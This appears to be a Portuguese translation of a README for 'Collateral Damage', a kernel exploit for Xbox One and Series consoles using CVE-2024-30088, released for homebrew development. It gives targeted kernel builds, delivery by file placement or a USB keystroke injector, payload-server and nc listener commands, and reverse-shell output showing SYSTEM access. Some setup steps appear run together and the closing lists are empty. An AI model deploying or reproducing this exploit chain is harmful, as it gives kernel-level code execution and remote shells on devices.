
Exploit de kernel para Xbox SystemOS usando CVE-2024-30088
Collateral Damage é um exploit de kernel para o Xbox SystemOS usando CVE-2024-30088. Ele tem como alvo consoles Xbox One e Xbox Series executando versões de kernel 25398.4478, 25398.4908 e 25398.4909. O ponto de entrada inicial é através do aplicativo Game Script UWP.
Os payloads de primeiro estágio, carregador PE e carregador de rede são fornecidos por Solstice.
Este exploit foi desenvolvido por Emma Kirkpatrick (descoberta e exploração da vulnerabilidade) e Lander Brandt (Solstice)
Para colocar o payload localmente no console Xbox, recomenda-se um explorador de confiança total como o Adv File Explorer (FullTrust) é recomendado. Alternativamente, o payload inicial pode ser servido através de um simulador de teclado USB (rubber ducky, etc.) e os estágios de payload adicionais podem então ser carregados pela rede.
O exemplo de reverse shell fornecido aqui requer que seu console esteja conectado a uma rede. Ao conectar seu console a uma rede, tome muito cuidado para evitar conectar-se à internet e atualizar. Tente bloquear a conectividade com o Xbox LIVE o máximo possível, pelo menos configurando seu DNS para servidores inválidos.
Este exploit não é totalmente confiável. Ele depende de um canal lateral da CPU e de uma condição de corrida, ambos com potencial de falha. Em caso de falha, o exploit pode alertá-lo de que falhou através da saída de rede, ou o próprio console pode travar e reiniciar.
gamescript_autosave_network.txt ou gamescript_autosave.txt para conter o IP local do seu PC.
gamescript_autosave.txt, stage2.bin e run.exe para o diretório LocalState do aplicativo Game Script no seu Console (Q:\Users\UserMgr0\AppData\Local\Packages\27878ConstantineTarasenko.458004FD2C47C_c8b3w9r5va522\LocalState\)gamescript_autosave_network.txt na janela do GameScript. Sirva stage2.bin e run.exe via payload_server_win_x64.exe --stage2 stage2.bin --run run.exenc64.exe -lvnp 7070)listening on [any] 7070 ...
connect to [192.168.0.61] from (UNKNOWN) [192.168.0.130] 49665
Collateral Damage - @carrot_c4k3 & @landaire (exploits.forsale)
Build number: 25398.4478
Attempting to find kernel base...
Found likely kernel base: FFFFF80AF9800000
Attempting exploit...
Exploit succeeded! Running payload!
Microsoft Windows [Version 10.0.25398.4478]
Copyright (c) Microsoft Corporation. All rights reserved.
S:\>
Muito trabalho adicional é necessário para levar isso ao ponto de ser uma ferramenta amigável para carregar homebrew no Xbox, mas espero que isso forneça um bom ponto de partida :) Se você quiser brincar com a execução de código como SYSTEM, pode colocar seu código na função post_exploit em post_exploit.c.
Há muito mais a fazer nisso, mas como a parte do kernel está pronta, quis compartilhar com a comunidade para que os desenvolvedores possam começar a explorar com privilégios de SYSTEM. Aqui estão algumas coisas que ainda espero adicionar no futuro:
Ideias adicionais são bem-vindas :)
obrigado a todos que me ajudaram a pensar e compartilharam seu conhecimento e tempo comigo durante isso!!! alguns daqueles a quem gostaria de agradecer: